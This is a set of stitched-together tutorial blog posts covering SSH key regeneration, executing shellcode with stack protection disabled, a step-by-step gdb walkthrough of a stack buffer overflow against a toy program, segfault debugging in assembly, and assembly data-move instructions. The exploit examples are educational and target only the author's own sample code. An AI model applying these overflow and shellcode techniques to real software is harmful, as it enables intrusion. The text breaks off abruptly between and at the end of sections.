Using ssh-keygen

The ssh-keygen command allows you to regenerate a public key using the -y flag. Using the -t flag you can tell it whether the key is rsa or dsa.

Is my key RSA or DSA?

Chances are it doesn’t matter; ssh-keygen will try to guess based on the input key. However, if you don’t know your key encryption, it’s probably rsa since that’s the default. The filename will also typically tell you, since it’s usually either id_rsa or id_dsa. And even beyond that, if you look at the text in the file, it should be present there as well.

Regenerating a Public Key

Here’s an example:

# ssh-keygen -y
Enter file in which the key is (/home/username/.ssh/id_rsa):
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr3T65FaSononqBjGEZXMg8x0U3ZjYvZxAUZQA7H27VtPgrn9FhsP8Jn+sp0zOi2nFjDsbXWM5L6OPVg1N0OHpiNcg7I
lrc83GiqVGg2AWeHWWolnOwXIsrfwybVcS6ZSCGbGKVWWL5VB/mt/zzF5WD6bhU+TZXYLq8fZC4sa0sapqVccubKw2YbjA53n0wKxrYLfOjP1k56EfkHzm4n7fmlyFi
3kaCvPo31yaMD3zIVJnl/4wMntnnxqFkG7mEtQ29ngkc5ocgRvSbNNvD9IFNvL/9BqlUtiOUcV790cdoLyd0o1mFV8sGPY3zsL6l3lTkjYDmSXTTnxavjHEudC5w==

BAM! There’s your public key!

Is this safe?

Yes, regenerating your key is completely safe and there’s no reason why you wouldn’t want to do this. Public keys are public, just as their name implies. You can give your public key to anyone.

The private key is the one you should keep to yourself and safe-guard. You should be the only one with your private key, and there’s no reason you should not be able to get a copy of your own public key.

–

Now save that public key somewhere safe so you don’t have to generate it every time!

Happy authenticating!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000601018 in shellcode ()

“Noooo! You can’t do this to me! I want to write exploits!”

Ok.. calm down.. we just need to turn on stack execution when compiling.

Enabling Stack Execution

You can turn on stack execution when you compile your program using ld‘s execstack flag. To pass this parameter in from gcc, use the -z flag:

gcc -ggdb -fno-stack-protector -z execstack -o ShellCode ShellCode.c

The above flags will:

• -ggdb: enable debugging symbols so we can load the application into gdb and step through it with detailed information
• -fno-stack-protector: disable gcc‘s built-in stack protection just to be sure it doesn’t complain at you
• -z execstack: allow code on the stack to execute; in other words, disable the NX bit. See also Intel’s xdbit or AMD’s EVP.

Example Code

Here is some example code written my 64-bit machine that will execute shell code on the stack after compiling using the aforementioned flags.

#include

/*
 * shell code based on an objdump of the exit() routine on my machine
 * # objdump -d ExitShellCode
 * 
 * ExitShellCode:     file format elf64-x86-64
 * 
 * 
 * Disassembly of section .text:
 * 
 * 0000000000400078 <_start>:
 *   400078:	48 c7 c7 00 00 00 00 	mov    $0x0,%rdi
 *   40007f:	b8 3c 00 00 00       	mov    $0x3c,%eax
 *   400084:	0f 05                	syscall
*/
char shellcode[] = "\x48\xc7\xc7\x00\x00\x00\x00"
                   "\xb8\x3c\x00\x00\x00"
                   "\x0f\05";

main() {
    // put a pointer on the stack
    long *ret;

    /*
     * we're going to point *ret to itself, then add 2 ints so that it points to main()'s
     * ret pointer on the stack
     *
     * in other words, we're doing this...
     *
     * bottom of  DDDDDDDD  DDDDEEEE  EEEEEEEE  EEEEFFFF  FFFFFFFF  FFFFFFFF     top of
     * memory     89ABCDEF  01234567  89ABCDEF  01234567  89ABCDEF  01234567     memory
     *            *ret      ebp       ret       a         b         c
     *
     * <-------   [0x010101][0x010101][0x010101][        ][        ][        ]
     *             |                          ^
     *             |--------------------------|
     * top of                                                                  bottom of
     * stack                                                                   stack
    */
    ret = (long *)&ret + 2;

    // now overwrite the ret value with the shellcode pointer so when main() returns the shellcode executes
    (*ret) = (long)shellcode;
}

Other Techniques

Return-to-libc Attack

Of course in a real situation you wouldn't be able to recompile the program so you would need another way to execute your shellcode. For that situation, you can try this technique, which is known as a return-to-libc attack. If you've been following Vivek's buffer overflow series, he made a video about return-to-libc here.

Anonymous Memory Maps

Another alternative is to use an anonymous memory map and then copy your shellcode into that memory. This has the added benefit of allowing you run code on a non-executable heap as well, but it's not as easy as passing the execstack flag to gcc.

Good Luck

I hope you learned something! Good luck with your exploits!

Welcome University of Maryland students! Thanks for visiting!

I’ve now finished Vivek Ramachandran’s Assembly Primer for Hackers and I’ve decided to move on to his Buffer Overflow Primer. I’ve exploited basic buffer overflows before, but I think going through his videos will give me more perspective now that I’ve brushed up on assembly.

In this article I’ll be stepping through the program in Vivek’s first video and providing some additional tips and tricks that I find useful when reviewing the program in gdb. I’m also on a 64-bit machine, so things are a bit different in gdb for me than they are in the video. Therefore it’s better that I write up my own explanations as I grasp the material so when I review later it will be more clear.

Buffer Overflow

Wikipedia describes a buffer overflow as “an anomaly where a program, while writing data to a buffer, overruns the buffer’s boundary and overwrites adjacent memory.” When writing software you define all sorts of buffers where data can be stored. If the boundaries of these buffers are not explicitly checked, the program may continue to write data beyond the end of the buffer. But if data is written beyond the end of a buffer, where does it go? Well, it starts overwriting data in other memory locations; or in some cases it may try to write to memory locations that it doesn’t have access to and the operating system may return an exception to the program or kill it.

How to exploit it

Well, we know that a buffer overflow involves overwriting memory locations outside the buffer. Typically you exploit a buffer overflow in an application by doing exactly this. The difficulty in writing a buffer overflow exploit is in determining which memory locations you are able to overwrite and how overwriting those locations can benefit you. Typically what you’re trying to do is force the application to jump to another location in memory and execute the instructions there instead of the instructions that it would normally execute. For instance, you might be trying to get the program to jump to a root shell. A few ways you might do this are:

• Overwrite a local variable that affects the workflow of the program by causing it to branch in a way that is beneficial to the attacker.
• Overwrite the return address on the stack. As soon as the current function calls ret the return address is popped back off the stack into EIP and executed.
• Overwrite a function pointer or an exception handler. As soon as the function is called or the exception is thrown your code will execute instead.

The code

This is the C code that I’m compiling and reviewing in gdb.

#include<stdio.h>

CanNeverExecute()
{
        printf("I can never execute\n");
        exit(0);
}

GetInput()
{
        char buffer[8];

        gets(buffer);
        puts(buffer);
}

main()
{
        GetInput();

        return 0;
}

Compiling the code

On my 64-bit machine I compile the code using -ggdb to enable debugging information. I also use -fno-stack-protector to disable stack protection.

gcc -ggdb -fno-stack-protector -o GetInput GetInput.c

Running the vulnerable program

You’ll notice that when calling gets we pass it an 8 byte buffer (char buffer[8]). Executing the program and typing ‘overflo’ works without a hitch since it’s only 7 characters long.

# ./GetInput 
overflo
overflo

But if you start feeding it more characters you’ll almost surely see a segmentation fault. The number of characters you have to type to get a segfault could vary depending on your CPU and your compiler, but something like ‘overflow the buffer’ should do the trick.

# ./GetInput 
overflow the buffer
overflow the buffer
Segmentation fault

Exploit type

This particular code is vulnerable to a stack overflow. The gets function is not safe to use because it takes any number of characters from stdin and puts them into the buffer regardless of the size of the buffer. As you can see from the execution above we tried to place 19 characters into the buffer. On top of that the gets function will also place a null character at the end of the buffer to signal the end of the string. You obviously cannot fit 20 bytes into an 8-byte buffer, so we overwrote 12 bytes of data in memory.

Because the buffer variable is a local variable within the GetInput function, it will be stored on the stack. Based on that reasoning, we know that a stack overflow is occurring. So if we wanted to exploit it we would probably just need to overwrite the return address pointer or EIP.

Analyzing the program in gdb

Digging in

Let’s understand how this overflow actually works and how you could do nasty things with it. To start, load up the program in gdb.

gdb ./GetInput

Setting breakpoints

We know that gets is not a safe function to use because it takes any number of characters and puts them into the buffer regardless of the size of the buffer. I think it would be most helpful for us to set a breakpoint just before the call to the GetInput method and just before the call to gets.

(gdb) list
10	{
11	    char buffer[8];
12	
13	    gets(buffer);
14	    puts(buffer);
15	}
16	
17	main()
18	{
19	    GetInput();
(gdb) 
20	
21	    return 0;
22	}
23	
(gdb) break 19
Breakpoint 1 at 0x4005f2: file GetInput.c, line 19.
(gdb) break 13
Breakpoint 2 at 0x4005d4: file GetInput.c, line 13.

Running the program

Let’s go ahead and run the program now that we have the breakpoints.

(gdb) run
Starting program: /root/c/GetInput 

Breakpoint 1, main () at GetInput.c:19
19	    GetInput();

Examining the stack before the call to GetInput

Because this is a stack overflow, it’s important to review the stack before we call GetInput.

(gdb) x/8xg $rsp
0x7fffffffe3f0:	0x0000000000000000	0x00007ffff7a78c4d
0x7fffffffe400:	0x0000000000000000	0x00007fffffffe4d8
0x7fffffffe410:	0x0000000100000000	0x00000000004005ee
0x7fffffffe420:	0x0000000000000000	0x27697451f3069404

At the top of the stack is 0×0 followed by 0x00007ffff7a78c4d.

Examining the stack after the call to GetInput

Now let’s step into the call to GetInput and examine the stack again to see what’s changed.

(gdb) s

Breakpoint 2, GetInput () at GetInput.c:13
13	    gets(buffer);
(gdb) x/8xg $rsp
0x7fffffffe3d0:	0x0000000000000000	0x00000000004004d0
0x7fffffffe3e0:	0x00007fffffffe3f0	0x00000000004005fc
0x7fffffffe3f0:	0x0000000000000000	0x00007ffff7a78c4d
0x7fffffffe400:	0x0000000000000000	0x00007fffffffe4d8

So if we look for the 0×0 followed by 0x00007ffff7a78c4d again, we can see they’re still visible at the second-to-last line, but they’re now further down the stack. It looks like we’ve added 32 bytes to the stack here. Based on the code you should have a pretty good idea of why, but let’s review it in gdb to be sure.

What was added to the stack when calling GetInput

The answers are simple, but I’ll explain them in detail so this section is a doozy. Let’s start by looking at our current stack frame (the frame for GetInput).

(gdb) info f
Stack level 0, frame at 0x7fffffffe3f0:
 rip = 0x4005d4 in GetInput (GetInput.c:13); saved rip 0x4005fc
 called by frame at 0x7fffffffe400
 source language c.
 Arglist at 0x7fffffffe3e0, args: 
 Locals at 0x7fffffffe3e0, Previous frame's sp is 0x7fffffffe3f0
 Saved registers:
  rbp at 0x7fffffffe3e0, rip at 0x7fffffffe3e8

If you look at the first highlighted line above, you’ll see where it says saved rip 0x4005fc. If you look at the 4th position on the stack you’ll see that this matches. That’s because when we called GetInput the return address to get back to main was stored on the stack. You can see this even further by disassembling main:

(gdb) disas main
Dump of assembler code for function main:
   0x00000000004005ee <+0>:	push   %rbp
   0x00000000004005ef <+1>:	mov    %rsp,%rbp
   0x00000000004005f2 <+4>:	mov    $0x0,%eax
   0x00000000004005f7 <+9>:	callq  0x4005cc <GetInput>
   0x00000000004005fc <+14>:	mov    $0x0,%eax
   0x0000000000400601 <+19>:	leaveq 
   0x0000000000400602 <+20>:	retq   
End of assembler dump.

Notice the highlighted line is the return memory address on the stack and is, of course, the line right after the call to GetInput. When GetInput calls ret it will return to this location.

Now if you take another look at GetInput’s stack frame, you’ll see I highlighted a second line that says Previous frame’s sp is 0x7fffffffe3f0. This is the stack pointer for main‘s stack frame and is also seen on the stack after the call to GetInput. This is because the first operation of any good function is to push the base pointer onto the stack. If you disassemble GetInput you’ll see that’s exactly what it did.

(gdb) disas GetInput
Dump of assembler code for function GetInput:
   0x00000000004005cc <+0>:	push   %rbp
   0x00000000004005cd <+1>:	mov    %rsp,%rbp
   0x00000000004005d0 <+4>:	sub    $0x10,%rsp
=> 0x00000000004005d4 <+8>:	lea    -0x10(%rbp),%rax
   0x00000000004005d8 <+12>:	mov    %rax,%rdi
   0x00000000004005db <+15>:	callq  0x4004c0 <gets@plt>
   0x00000000004005e0 <+20>:	lea    -0x10(%rbp),%rax
   0x00000000004005e4 <+24>:	mov    %rax,%rdi
   0x00000000004005e7 <+27>:	callq  0x400490 <puts@plt>
   0x00000000004005ec <+32>:	leaveq 
   0x00000000004005ed <+33>:	retq   
End of assembler dump.

So as you can see at the first highlighted line above, GetInput did clearly push the base pointer onto the stack, which is what we saw when examining the stack.

That only leaves the other mysterious 16 bytes at the top of the stack. What are those for? Well, if you review the second highlighted line above you’ll see where the assembly code asks the cpu to subtract 0×10 from the stack pointer. If you do the math there, that’s 16 in decimal. So the stack pointer was adjusted by 16 bytes, which is to make room for buffer, the local variable we defined. Of course we only defined an 8-byte buffer in our code[1], so why did the machine code the compiler generated make room for 16 bytes? Well, that’s a bit more complicated, but basically it’s a compiler optimization[2]. We’ll move on for now, but just keep in mind that we have a 16-byte buffer on the stack even though we asked for an 8-byte buffer.

Why isn’t the buffer set to zero (0)?

You also may be wondering why the buffer isn’t defined to 0, but instead appears to have some miscellaneous data in it.

(gdb) x/2xg $rsp
0x7fffffffe3d0:	0x0000000000000000	0x00000000004004d0

Well, the answer to that is simple; we didn’t ask for it to be 0. As you can see in the assembly code, the stack pointer was just adjusted to make 16 bytes available on the stack. Therefore, the next 16 bytes are now made available. We haven’t set buffer to any value and in C this means the value is indeterminate! In other words, whatever values happened to be in that memory location are still there[3].

No more gdb

Now that we’ve determined the condition of the stack I think we know enough to exploit the program. You can go ahead and close gdb.

Visualizing the buffer overflow

Here is basically what our stack looks like in visual form (I based the representation on Aleph One’s):

bottom of  DDDDDDDDDDDDEEEE  EEEEEEEE  EEEEFFFF  FFFFFFFF  FFFFFFFF     top of
memory     89ABCDEF01234567  89ABCDEF  01234567  89ABCDEF  01234567     memory
           buffer            ebp       ret       a         b

<-------   [A-16-BYTE-BUFFER][0x010101][0x010101][        ][        ]
top of                                                                  bottom of
stack                                                                   stack

So, when feeding data into the gets function, the first 16 bytes will go into our buffer on the stack. The next 8 bytes will go into the stored base pointer. And the next 8 bytes will go into the return pointer. The best way to exploit this application would be to overwrite the return address to point to another location.

Thinking about the exploit string

We’ve counted the bytes, so we know now that we need 16 bytes + 8 bytes to fill up the buffer and ebp. Then to run code we need an 8 byte memory address that points to the code we want to run. So the string needs to look something like this:

aaaaaaaaaaaaaaaaaaaaaaaaXXXXXXXX

The only problem now is we need to fill in the X’s with a memory address of some code to execute. Because this is a sample program, there was a method called CanNeverExecute intentionally added that will never run under normal circumstances. To demonstrate how a buffer overflow redirects program flow we’ll point the return address to this function to cause it to run. Let’s take a look at the method to get it’s memory location.

(gdb) disas CanNeverExecute
Dump of assembler code for function CanNeverExecute:
   0x00000000004005b4 <+0>:	push   %rbp
   0x00000000004005b5 <+1>:	mov    %rsp,%rbp
   0x00000000004005b8 <+4>:	mov    $0x4006fc,%edi
   0x00000000004005bd <+9>:	callq  0x400490 <puts@plt>
   0x00000000004005c2 <+14>:	mov    $0x0,%edi
   0x00000000004005c7 <+19>:	callq  0x4004a0 <exit@plt>
End of assembler dump.

We can see that the first line of CanNeverExecute is at the memory location 0x4005b4, so if we wanted to execute this method that’s the memory address we’ll need to provide to gets.

But how do you put a memory address into a string? Typing the hexadecimal numbers in the string would simply treat them as their ascii representations, so something like this will not work.

aaaaaaaaaaaaaaaaaaaaaaaa4005b4

Placing hexademical into a string

There are numerous ways to do this, but the easiest way to do this in linux is to use the printf command from bash, which works just like it does in C.

# printf '\x30\x31\x32\n'
012

This particular example just prints out 0, 1, and 2. But you can use this to print anything as a string. If you don’t believe it, try this one:

# printf '\xaa\xab\xac\n'

Crafting the exploit string

Now that we can put hex values into a string, we’re ready to create the exploit. If you’re anxious you may have already started typing, thinking it’s one of these:

aaaaaaaaaaaaaaaaaaaaaaaa\x40\x05\xb4
aaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x00\x40\x05\xb4

But which one is it!? Actually..

They’re both wrong!

Chances are if you’re reading this article you’re running on an x86 or x86-64 processor, so data is stored in memory in reverse order[4]!

This sounds confusing, but what this means is just that we need to put the memory address into the string backwards so that when the CPU pops it back off the stack it will read it forwards. So now our exploit string becomes:

aaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05\x40\x00\x00\x00\x00\x00

OMG I’m an ub3r h4x0r, let’s pwn this program!

Wow, you’re really excited about this, huh? Ok, well let’s try this out and see if the exploit works. We’ll just pipe the output from printf into the GetInput program to see if the return address is overwritten properly.

# printf "aaaaaaaaaaaaaaaaaaaaaaaa\xb4\x05\x40\x00\x00\x00\x00\x00" | ./GetInput 
aaaaaaaaaaaaaaaaaaaaaaaa?@
I can never execute

What do you know.. the CanNeverExecute method ran as expected and printed “I can never execute”. So.. the exploit works! I guess you’re an ub3r h4x0r now.

Finish Line

Well, you’re ub3r 1337 now, so go forth and prosper! I’m sure you’ll see more buffer overflow articles from me soon, so be on the lookout if you’re looking to learn more.

Footnotes

[1] We defined buffer as char[8], which is 8 bytes on most machines when using ANSI C.

[2] A compiler like gcc will typically optimize your code as part of the compilation process; sometimes that optimization includes resizing buffers. The particular quirk we see where our buffer becomes 16 bytes instead of 8 is probably due to data structure alignment. By putting the data at a particular memory offset, the compiler can help your program run faster due to the way the CPU handles memory.

[3] The same thing happens when you call malloc: the content of the newly allocated block of memory is not initialized, remaining with indeterminate values. If we wanted to be very careful we should be using methods like bzero and calloc. Read this article if you’re interested in string initialization in C.

[4] The concept of endianness determines how data is stored in memory and this primarily depends on your CPU. If you’re using a little-endian processor such as the x86 series, each byte of data is actually stored in reverse order in memory and then read by the processor in the correct order when retrieving it. So basically if you had the string “ABCD”, this is stored in memory as “DCBA” on a typical PC. Big-endian processors store the data in the order you would expect, so “ABCD” is stored in memory as “ABCD”. See Endianness at Wikipedia or peruse this article from Jeremy Gordon for more details.

Segmentation Faults

What are they?

Wikipedia more or less defines a segfault as “an attempt to access memory that the CPU cannot physically address”. Typically the hardware notifies the operating system about a memory access violation, so the kernel sends a signal to the process which caused the exception.

In English

Your program is trying to access something in memory. The hardware, OS, or some other component has decided that the memory you want to access does not belong to you or could be potentially harmful for you to access. So it politely tells you that you are not allowed.

How does this happen?

Well, it could be that you’re just being a dick and trying to access memory that doesn’t belong to you. Is that what you’re doing? … No? .. Ok, well then probably you just made a mistake when you were performing some memory-related operation. For instance, perhaps you treated an integer as a pointer and passed it to a string-related operation. Or maybe you copied 150 bytes of data into 100 byte buffer and smashed the stack. Whatever the case may be, you can be certain it’s related to some sort a memory-operation; unfortunately programming involves a lot of those.

Example code

Instead of using the large code sample that I was working on when the problem occurred, I’ve created a shorter sample in assembly that will generate a buffer overflow. The sample could be made even shorter, but I wanted a realistic example and I also wanted to keep the comments in the code so it’s easier to follow.

.data
    Str1:
        .asciz "Segfault's are awesome!\n"

.text
    .globl _start

    .type PrintString, @function

    _start:
        # for stepping through the debugger
        nop

        # string length is stored in rbx
        movq $25, %rbx

        # push the arguments onto the stack
        pushq %rbx
        pushq $Str1

        # print the string
        call PrintString

        # restore the stack pointer
        addq $8, %rsp

        # exit()
        jmp ExitProgram

    ######################################
    # print the string
    # @param str1
    # @param strlength
    ######################################
    PrintString:
        # save the current base pointer by pushing it onto the stack
        pushq %rbp

        # move the base pointer to the top of the stack
        movq %rsp, %rbp

        # retrieve our arguments from the stack
        movq 16(%rbp), %rcx
        movq 24(%rbp), %rdx

        # print the string
        movl $4, %eax
        movl $1, %ebx
        int $0x80

        # return
        ret

    ExitProgram:
        movl $1, %eax
        movl $0, %ebx
        int $0x80

Running the example

Here is how to run the example and what that looks like:

# as -gstabs -o Segfault.o Segfault.s
# ld -o Segfault Segfault.o
# ./Segfault
Segfault's are awesome!
Segmentation fault

Stepping through with the debugger (gdb)

Digging in

So clearly we have a problem in this code. Let’s load up gdb and find out why.

gdb ./Segfault

Setting a breakpoint

Let’s make some inferences about where to set our breakpoint. Str1 definitely prints out before the program crashes. The program is pretty short, so why not just set our breakpoint after that line? We’ll use list and breakpoint to do this.

(gdb) list PrintString
32	    # @param str1
33	    # @param strlength
34	    ######################################
35	    PrintString:
36	        # save the current base pointer by pushing it onto the stack
37	        pushq %rbp
38	
39	        # move the base pointer to the top of the stack
40	        movq %rsp, %rbp
41	
(gdb) 
42	        # retrieve our arguments from the stack
43	        movq 16(%rbp), %rcx
44	        movq 24(%rbp), %rdx
45	
46	        # print the string
47	        movl $4, %eax
48	        movl $1, %ebx
49	        int $0x80
50	
51	        # return
(gdb) break 49
Breakpoint 1 at 0x4000df: file Segfault.s, line 49.

Find the segfault

Now that we have a breakpoint just before the string is printed out, let’s run the program and find the exact line that causes the segfault.

(gdb) run
Starting program: /root/assembly/Segfault 

Breakpoint 1, PrintString () at Segfault.s:49
49	        int $0x80
(gdb) s
Segfault's are awesome!
PrintString () at Segfault.s:52
52	        ret
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

So after the breakpoint we stepped through the program twice and we can see that line 52 is causing the problem. The ret statement is causing some problem that results in the segmentation fault. More specifically, it looks like the instruction pointer (EIP/RIP) is being pointed to 0×0.

Examining the stack

Well, we know that when a function is called, the next instruction that should execute within the calling function is stored on the stack. That way when the function call returns it can simply restore the memory address on the stack into the EIP register and we’re suddenly back to the position where the function was called from. So with this theory, we know that ret basically pops the return pointer off of the stack and into the EIP register. Why don’t we try restarting the program and examining the stack (ESP/RSP) just before the ret instruction is run.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/assembly/Segfault 

Breakpoint 1, PrintString () at Segfault.s:49
49	        int $0x80
(gdb) s
Segfault's are awesome!
PrintString () at Segfault.s:52
52	        ret
(gdb) x/2xg $rsp
0x7fffffffe4a0:	0x0000000000000000	0x00000000004000c3

This is a 64-bit machine, so here we are examining two 64-bit values on the stack. We can see that the first value is 0×0; this is the value at the top of the stack. The following value, 0x00000000004000c3 is the next value on the stack, and if we examined further we could review the full stack if we wanted to (including other frames). For now let’s focus on 0×0, since that seems to be what is popped off and what’s causing our problem.

Verify the stack value is being popped into EIP/RIP

Let’s just demonstrate how executing the ret actually does pop that value into EIP/RIP by doing this..

(gdb) print /x $rip
$1 = 0x4000e1
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
(gdb) x/2xg $rsp
0x7fffffffe4a8:	0x00000000004000c3	0x00000000006000f0
(gdb) print /x $rip
$2 = 0x0

We can see that the RIP register clearly changes from 0x4000e1 to 0×0 and that 0×0 was removed from the stack. Notice how 0x00000000004000c3 is now at the top of the stack instead of being the second value on the stack like we saw before.

Looking up the memory address

Based on the fact that we know 0×0 is an invalid memory location, let’s see if this next value on the stack is valid using the disassemble command in gdb.

(gdb) disassemble 0x00000000004000c3
Dump of assembler code for function _start:
   0x00000000004000b0 <+0>:	nop
   0x00000000004000b1 <+1>:	mov    $0x19,%rbx
   0x00000000004000b8 <+8>:	push   %rbx
   0x00000000004000b9 <+9>:	pushq  $0x6000f0
   0x00000000004000be <+14>:	callq  0x4000c9 <PrintString>
   0x00000000004000c3 <+19>:	add    $0x8,%rsp
   0x00000000004000c7 <+23>:	jmp    0x4000e2 <ExitProgram>

Well, what do you know. The highlighted line above shows that 0x00000000004000c3 is the correct memory location for the line right after our call to PrintString. So when PrintString calls ret, it should actually be popping off 0x00000000004000c3 and not 0×0.

Finding the mistake

At this point we know that something has been added to the stack AFTER the return address and has not been popped back off. Since it was added after the return address we can be pretty confident that it was added inside of the PrintString function. Let’s take a look at the PrintString code.

(gdb) list PrintString
32	    # @param str1
33	    # @param strlength
34	    ######################################
35	    PrintString:
36	        # save the current base pointer by pushing it onto the stack
37	        pushq %rbp
38	
39	        # move the base pointer to the top of the stack
40	        movq %rsp, %rbp
41	
(gdb) 
42	        # retrieve our arguments from the stack
43	        movq 16(%rbp), %rcx
44	        movq 24(%rbp), %rdx
45	
46	        # print the string
47	        movl $4, %eax
48	        movl $1, %ebx
49	        int $0x80
50	
51	        # return

Sure enough, in the highlighted line above you can see where we pushed the base pointer onto the stack using pushq %rbp. At the time the base pointer was set to 0×0, so that’s what we’re seeing on the stack in gdb. Unfortunately we never popped this value back off, so it’s causing a segfault when ret is called.

Fixing the code

Fixing this problem is incredibly easy as it turns out. Just pop the stored value of the RBP register back into RBP before returning from the function. It’s a one line fix that should be placed just before the ret. Now when ret executes it will pull the correct return address off the stack and everything will run as expected.

popq %rbp
ret

You’re done!

Hopefully this guide helped you understand how you can examine the stack to find segfaults and other problems with your code. The GNU debugger is a powerful tool and the more you know the easier it becomes and the faster you can get back to writing code!

Have fun!

Data Types

Variables (data/labels) are defined in the .data segment of your assembly program. Here are some of the available data types you’ll commonly use.

Data types in assembly; photo credit to Vivek Ramachandran

Example code

# Demo program to show how to use Data types and MOVx instructions

.data
	HelloWorld:
		.ascii "Hello World!"

	ByteLocation:
		.byte 10

	Int32:
		.int 2
	Int16:
		.short 3
	Float:
		.float 10.23

	IntegerArray:
		.int 10,20,30,40,50

.bss
	.comm LargeBuffer, 10000

.text
	.globl _start

	_start:
		nop
		# Exit syscall to exit the program

		movl $1, %eax
		movl $0, %ebx
		int $0x80

Moving numbers in assembly

Introduction to mov

This is the mov family of operations. By appending b, w or l you can choose to move 8 bits, 16 bits or 32 bits of data. To demonstrate these operations, we’ll be using the example above.

Moving a byte into a register

movb $0, %al

This will move the integer 0 into the lower 8 bits of the EAX register.

Moving a word into a register

movw $10, %ax

This will move the integer 10 into the lower 16 bits of the EAX register.

Moving a word into a register

movl $20, %eax

This will move the integer 20 into the 32-bit EAX register.

Moving a word into a label

movw $50, Int16

This will move the integer 50 into the 16-bit label Int16.

Moving a label into a register

movl Int32, %eax

This will move the contents of the Int32 label into the 32-bit EAX register.

Moving a register into a label

movb %al, ByteLocation

This will move the contents of the 8-bit AL register into the 8-bit ByteLocation label.

Accessing memory locations (using pointers)

In C we have the concept of pointers. A pointer is simply a variable that points to a location in memory. Typically that memory location holds some data that is important to us and that’s why we’re keeping a pointer to it so we can access the data later. This same concept can be achieved in assembly.

Moving a label’s memory address into a register (creating a pointer)

movl $Int32, %eax

This will move the memory location of the Int32 label into the EAX register. In effect the EAX register is now a pointer to the data held by the Int32 label. Notice that we use movl because memory locations are 4 bytes. Also notice that to access the memory location of a label you prepend the $ character.

Dereferencing a pointer (accessing the contents of a memory address)

Moving a word into a dereferenced location

movl $9, (%eax)

This will move the integer 9 into the memory location held in EAX. In other words, if this were C, %eax would be considered a pointer and (%eax) would be the way we dereference that pointer to change the contents of the location it points to. The equivalent in C would like something like this:

int Int32 = 2;
int *eax;
eax = &Int32;
*eax = 9;

The only difference in the C example is that we had to define eax as an int pointer before we could copy the address of Int32. In assembly we can just copy the address of Int32 directly into the EAX register, circumventing the need for an additional variable. But line 4 of this C example is the equivalent of the assembly example shown above.

So to clarify one more time, EAX does not change at all in this example; EAX still points to the same location! However, the data at that location has changed. So if EAX contains the location of the Int32 label, then Int32 now contains 9. So it’s Int32 that has changed, not EAX.

Notice that we use the parentheses to access the memory location stored in the register (dereference the pointer).

Moving a dereferenced value into a register

movl (%eax), %ebx

Keeping in mind that contains the location of the Int32 label and that Int32 now contains 9, this will move 9 into EBX. In other words, the parentheses

In effect the EBX register is now a pointer to the data held by EAX. Notice that to access the memory location of the register we’re again enclosing the register name in parentheses.

Moving strings in assembly

I can imagine that reading this you might be thinking, “hey, strings are just bytes of data so why can’t I just move them using the same instructions I just learned?” And the answers to that questions is you can! The problem is that strings are oftentimes much larger. A string might be 1 byte, 5 bytes, or 100 bytes. And none of mov instructions discussed above cover anything larger than 4 bytes. So let’s discuss the string operations that are available to alleviate the pains of copying large strings of data.

A key difference between the standard mov operations and the string series of movs, stos and lods operations is the number of operands. With mov, you specify the source and destination via 2 operands. However, with the movs instructions, the source and destination addresses are placed into the ESI and EDI registers respectively. And with stos and lods, the operations interact directly with the EAX register. This will become more clear with some examples.

The DF flag

DF stands for direction flag. This is a flag stored in the CPU that determines whether to increment or decrement a string’s memory address when string operations are called. When DF is 0 (cleared) the addresses are incremented. When DF is 1 (set) the addresses are decremented. In our examples the DF flag will always be cleared.

The usefulness of the DF flag will make more sense in the examples.

Clearing the DF flag

cld

DF is set to 0. Addresses are incremented where applicable.

Setting the DF flag

std

DF is set to 1. Addresses are decremented where applicable.

Example code

In the example below, the following variables have been defined:

.data
	HelloWorldString:
		.asciz "Hello World of Assembly!"

.bss
	.lcomm Destination, 100

movs: Moving a string from one memory location to another memory location

source: %esi; should contain a memory address where the data to be copied resides;
	the data at this address is not modified, but the address stored in the %esi register
	is incremented or decremented according to the DF flag
destination: %edi; should contain a memory address where the data will be copied to;
	after copying, the address stored in the %edi register is incremented or decremented
	according to the DF flag

Variations

movsb: move a single byte
movsw: move 2 bytes
movsl: move 4 bytes

Example

movl $HelloWorldString, %esi
movl $Destination, %edi

movsb
movsw
movsl

In this example, we first move the address of HelloWorldString into the ESI register (the source string). Then we move the address of Destination into EDI (the destination buffer).

When movsb is called, it tells the CPU to move 1 byte from the source to the destination, so the ‘H’ is copied to the first byte in the Destination label. However, that is not the only thing that happens during this operation. You may have noticed that I pointed out how the address stored in the %esi and %edi registers are both incremented or decremented according to the DF flag. Since the DF flag is cleared, both %esi and %edi are incremented by 1 byte.

But why is this useful? Well, what it means is that the next string operation to be called will start copying from the 2nd byte of the source string instead of the first byte. In other words, rather than copying the ‘H’ a second time, we’ll start by copying the ‘e’ in the HelloWorldString instead. This is what makes the movs series of operations far more useful than the mov operations when dealing with strings.

So, as you might imagine, when calling movsw the next 2 bytes are copied and Destination now holds “Hel”. And finally the movsl operation copies 4 bytes into Destination, which makes it “Hello W”.

Of course, the memory locations held in both %esi and %edi have now been incremented by 7 bytes each. So the final values are..

%esi: $HelloWorldString+7
%edi: $Destination+7
HelloWorldString: "Hello World of Assembly!"
Destination: "Hello W"

lods: Moving a string from a memory location into the EAX register

source: %esi; should contain a memory address where the data to be copied resides;
	the data at this address is not modified, but the address stored in the %esi register
	is incremented or decremented according to the DF flag
destination: %eax; the contents of this register are discarded because the data is copied
	directly into the register, NOT to any memory address residing in the register; no
	incrementing or decrementing occurs because the destination is a register and not a
	memory location

Variations

lodsb: move a single byte
lodsw: move 2 bytes
lodsl: move 4 bytes

stos: Moving a string from the EAX register to a memory location

source: %eax; the contents of this register are copied, NOT the contents of any memory
	address residing in the register; no incrementing or decrementing occurs because the
	source is a register and not a memory location
destination: %edi; should contain a memory address where the data will be copied to;
	after copying, the address stored in the %edi register is incremented or decremented
	according to the DF flag

Variations

stosb: move a single byte
stosw: move 2 bytes
stosl: move 4 bytes

rep: Repeating an operation so you can move strings more easily

rep movsb

This will continue executing the movsb operation and decrementing the ECX register until it equals 0. So if you wanted to copy a string in its entirety, you could follow this pseudo-code:

* set ESI to the memory address of the source string
* set EDI to the memory address of the destination string
* set ECX to the length of the source string
* clear the DF flag so ESI and EDI will be incremented for each call to movsb
* call rep movsb

Example

